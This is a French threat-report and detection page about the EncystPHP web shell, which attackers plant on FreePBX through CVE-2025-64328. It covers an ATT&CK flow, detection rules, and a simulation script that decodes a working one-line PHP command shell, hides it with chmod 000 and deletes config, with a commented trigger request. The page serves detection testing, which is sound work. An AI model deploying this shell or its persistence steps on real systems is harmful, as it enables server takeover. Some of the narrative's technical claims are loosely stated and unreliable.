EncystPHP : Shell Web FreePBX Armes pour un Compromis Administratif Persistant
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
FortiGuard Labs signale une web shell PHP appelée EncystPHP déployée sur des instances FreePBX exposées en exploitant CVE-2025-64328. L’implant permet l’exécution de commandes à distance, fournit des utilisateurs privilégiés et établit une persistance en couches via des tâches cron et des droppers de suivi. L’activité est liée à l’équipe INJ3CTOR3 et semble viser des environnements de télécommunications. Les indicateurs publiés incluent des IP malveillantes, des domaines, des URL et plusieurs chemins de fichiers hostiles.
Investigation
Les enquêteurs ont retracé l’accès initial à une faille d’injection de commande post-authentification dans le FreePBX Endpoint Manager. Après une exploitation réussie, l’opérateur extrait un dropper depuis 45.234.176.202, assouplit les permissions sur les composants PHP clés, extrait les identifiants de la base de données, crée un compte de niveau root et ajoute une clé SSH contrôlée par l’attaquant. La persistance est renforcée par des entrées cron qui récupèrent de nouveaux droppers et rafraîchissent les artefacts. EncystPHP imite également des fichiers FreePBX légitimes et manipule les horodatages pour réduire la visibilité lors d’une analyse de routine.
Atténuation
Patch FreePBX Endpoint Manager pour corriger CVE-2025-64328 (et toute correction liée) dès que possible. Recherchez des fichiers de web shell non autorisés, des plannings cron suspects et de nouveaux utilisateurs locaux privilégiés créés. Bloquez les sorties HTTP vers les infrastructures malveillantes connues et appliquez des permissions strictes et de moindre privilège sur les répertoires web et les assets PHP.
Réponse
En cas de détection, isolez le serveur PBX affecté, retirez les artefacts EncystPHP, purgez les tâches cron non autorisées et réinitialisez les comptes locaux et les clés SSH. Examinez les journaux et les sauvegardes de configuration pour évaluer les changements, puis appliquez les mises à jour de sécurité actuelles et renforcez l’interface web. Validez qu’aucun dropper secondaire ni mécanisme de persistance ne subsiste avant de rétablir les opérations téléphoniques normales.
graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#ccffcc classDef process fill:#ffeb99 %% Nodes initial_access[« <b>Action</b> – <b>T1190 Exploitation d’une Application Exposée au Public</b><br/>Exploitation du gestionnaire d’endpoints FreePBX CVE-2025-64328 »] class initial_access action tool_wget[« <b>Outil</b> – <b>Nom</b> : wget<br/><b>Description</b> : téléchargement de fichiers via HTTP »] class tool_wget tool process_shell[« <b>Processus</b> – <b>T1059.004 Interpréteur de Commandes et de Scripts : Shell Unix</b><br/>Scripts bash décodés depuis Base64 : c, k.php, test.sh »] class process_shell process file_c[« <b>Fichier</b> – c (script bash) »] class file_c file file_kphp[« <b>Fichier</b> – k.php (dropper PHP) »] class file_kphp file file_testsh[« <b>Fichier</b> – test.sh (script bash) »] class file_testsh file credential_access[« <b>Action</b> – <b>T1003 Dump des Identifiants du Système d’Exploitation</b><br/>Collecte des identifiants de base de données depuis /etc/freepbx.conf »] class credential_access action file_freepbxconf[« <b>Fichier</b> – /etc/freepbx.conf »] class file_freepbxconf file priv_esc_exploit[« <b>Action</b> – <b>T1068 Exploitation pour l’Élévation de Privilèges</b> »] class priv_esc_exploit action account_create[« <b>Action</b> – <b>T1136.001 Création de Compte : Compte Local</b><br/>Création d’un utilisateur au niveau root newfpbx avec un hash de mot de passe prédéfini »] class account_create action persistence_webshell[« <b>Action</b> – <b>T1505.003 Composant Logiciel Serveur : Web Shell</b><br/>Déploiement d’EncystPHP déguisé en ajax.php et config.php »] class persistence_webshell action file_ajaxphp[« <b>Fichier</b> – ajax.php (web shell) »] class file_ajaxphp file file_configphp[« <b>Fichier</b> – config.php (web shell) »] class file_configphp file persistence_cron[« <b>Action</b> – <b>T1053.003 Tâche/Job Planifié : Cron</b><br/>Installation de tâches cron pour télécharger et exécuter k.php chaque minute »] class persistence_cron action defense_perm_mod[« <b>Action</b> – <b>T1222.002 Modification des Permissions de Fichiers et Répertoires : Linux</b><br/>Définition des permissions des fichiers à 000 et falsification des horodatages »] class defense_perm_mod action defense_masquerade[« <b>Action</b> – <b>T1036.005 Déguisement</b><br/>Placement des shells dans des emplacements d’apparence légitime »] class defense_masquerade action defense_indicator_removal[« <b>Action</b> – <b>T1070.004 Suppression de Fichiers</b> et <b>T1070.006 Altération des Horodatages</b><br/>Suppression des journaux et des entrées cron, alignement des horodatages des fichiers »] class defense_indicator_removal action lateral_movement_ssh[« <b>Action</b> – <b>T1021.004 Services Distants : SSH</b> et <b>T1098.004 Clés Autorisées SSH</b><br/>Injection de la clé publique de l’attaquant dans authorized_keys »] class lateral_movement_ssh action command_and_control[« <b>Action</b> – <b>T1105 Transfert d’Outils en Entrée</b> et <b>T1071.001 Protocole de Couche Application : Protocoles Web</b><br/>Récupération des droppers depuis 45.234.176.202 via wget »] class command_and_control action impact_hijack[« <b>Action</b> – <b>T1496 Détournement de Ressources</b><br/>Utilisation du PBX pour passer des appels sortants non autorisés »] class impact_hijack action defense_impair[« <b>Action</b> – <b>T1562.001 Altération des Défenses</b> et <b>T1548 Abus des Mécanismes de Contrôle d’Élévation</b><br/>Désactivation du signalement des erreurs et utilisation du contexte administrateur pour des modifications système »] class defense_impair action %% Edges initial_access –>|utilise| tool_wget tool_wget –>|télécharge| file_c tool_wget –>|télécharge| file_kphp tool_wget –>|télécharge| file_testsh initial_access –>|mène à| process_shell process_shell –>|exécute| file_c process_shell –>|exécute| file_kphp process_shell –>|exécute| file_testsh process_shell –>|mène à| credential_access credential_access –>|lit| file_freepbxconf credential_access –>|permet| priv_esc_exploit priv_esc_exploit –>|permet| account_create account_create –>|permet| persistence_webshell persistence_webshell –>|crée| file_ajaxphp persistence_webshell –>|crée| file_configphp persistence_webshell –>|permet| persistence_cron persistence_cron –>|crée| file_kphp persistence_cron –>|utilise| tool_wget persistence_cron –>|définit| defense_perm_mod defense_perm_mod –>|soutient| defense_masquerade defense_masquerade –>|soutient| defense_indicator_removal persistence_webshell –>|soutient| lateral_movement_ssh lateral_movement_ssh –>|permet| command_and_control command_and_control –>|fournit| impact_hijack command_and_control –>|soutient| defense_impair
Flux d’Attaque
Détections
Nouveau Compte Possible pour la Persistance [Linux] (via cmdline)
Voir
Fichier Cron a été Créé (via file_event)
Voir
Téléchargements dans Dossiers Suspects (via cmdline)
Voir
Tentative de Découverte de Hosts Connus de SSH Possible [MacOS] (via cmdline)
Voir
Possible Manipulation de Chaînes Encodées en Base64 (via cmdline)
Voir
IOC (DestinationIP) à détecter : Dévoilement de la Web Shell Arme EncystPHP Une Web Shell FreePBX Persistante Permettant une Compromission Administrative à Long Terme
Voir
IOC (HashSha256) à détecter : Dévoilement de la Web Shell Arme EncystPHP Une Web Shell FreePBX Persistante Permettant une Compromission Administrative à Long Terme
Voir
IOC (SourceIP) à détecter : Dévoilement de la Web Shell Arme EncystPHP Une Web Shell FreePBX Persistante Permettant une Compromission Administrative à Long Terme
Voir
Détecter les Entrées Crontab pour le Téléchargement Persistant de k.php et c Dropper [Création de Processus Linux]
Voir
Déploiement et Persistance de la Web Shell EncystPHP via CVE-2025-64328 [Création de Processus Linux]
Voir
Détection de l’Activité de la Web Shell EncystPHP dans FreePBX [Événement de Fichier Linux]
Voir
Exécution de Simulation
Prérequis : Le Check Prévol de Télémétrie et de Référence doit avoir été passé.
Raison : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection.
-
Narratif et Commandes d’Attaque :
- Téléchargez la web shell EncystPHP – L’attaquant crée une charge utile PHP encodée en Base64 et la livre via une requête HTTP POST à l’interface web de FreePBX, provoquant l’écriture du fichier
ajax.phppour être écrit dans/var/www/html/admin/views/ajax.php. - Définir des permissions restrictives – Juste après le déploiement, l’attaquant exécute
chmod 000 ajax.phppour cacher la shell aux utilisateurs normaux et forcer son exécution sous le compte privilégié du serveur web (T1222.002). - Supprimer la configuration critique – Pour altérer la détection et forcer le système à se recharger avec la shell malveillante, l’attaquant supprime
/etc/freepbx.conf(T1070.004, T1562.001). - Déclencher la shell – Un simple HTTP GET vers le nouveau
ajax.phpexécute la charge utile, établissant une shell inversée (T1105, T1059.004).
- Téléchargez la web shell EncystPHP – L’attaquant crée une charge utile PHP encodée en Base64 et la livre via une requête HTTP POST à l’interface web de FreePBX, provoquant l’écriture du fichier
-
Script de Test de Régression : Le script reproduit les étapes 1-3 dans un répertoire de test contrôlé (
/tmp/freepbx_test) pour éviter de perturber un système de production.# encystphp_simulation.sh set -euo pipefail # ----- Setup test directories (mirroring FreePBX layout) ----- TEST_ROOT="/tmp/freepbx_test" WEB_ROOT="${TEST_ROOT}/var/www/html/admin/views" CONFIG_FILE="${TEST_ROOT}/etc/freepbx.conf" sudo mkdir -p "${WEB_ROOT}" sudo mkdir -p "$(dirname "${CONFIG_FILE}")" # ----- Create dummy config file (will be deleted) ----- echo "freepbx configuration" | sudo tee "${CONFIG_FILE}" > /dev/null # ----- Base64‑encoded EncystPHP payload (very small stub) ----- PAYLOAD_B64="PD9waHAKc3lzdGVtKCRfR0VUWydjbWQnXSk7Cj8+" # ----- Step 1: Deploy web shell ----- echo "${PAYLOAD_B64}" | base64 -d | sudo tee "${WEB_ROOT}/ajax.php" > /dev/null echo "Web shell deployed at ${WEB_ROOT}/ajax.php" # ----- Step 2: Restrictive permission (000) ----- sudo chmod 000 "${WEB_ROOT}/ajax.php" echo "Permissions set to 000" # ----- Step 3: Delete critical config file ----- sudo rm -f "${CONFIG_FILE}" echo "Deleted ${CONFIG_FILE}" # ----- Optional: trigger the shell (simulated) ----- # curl -s "http://localhost/admin/views/ajax.php?cmd=id" echo "Simulation complete. Check SIEM for alerts." -
Commandes de Nettoyage :
# cleanup_encystphp_simulation.sh set -euo pipefail TEST_ROOT="/tmp/freepbx_test" sudo rm -rf "${TEST_ROOT}" echo "Test environment cleaned."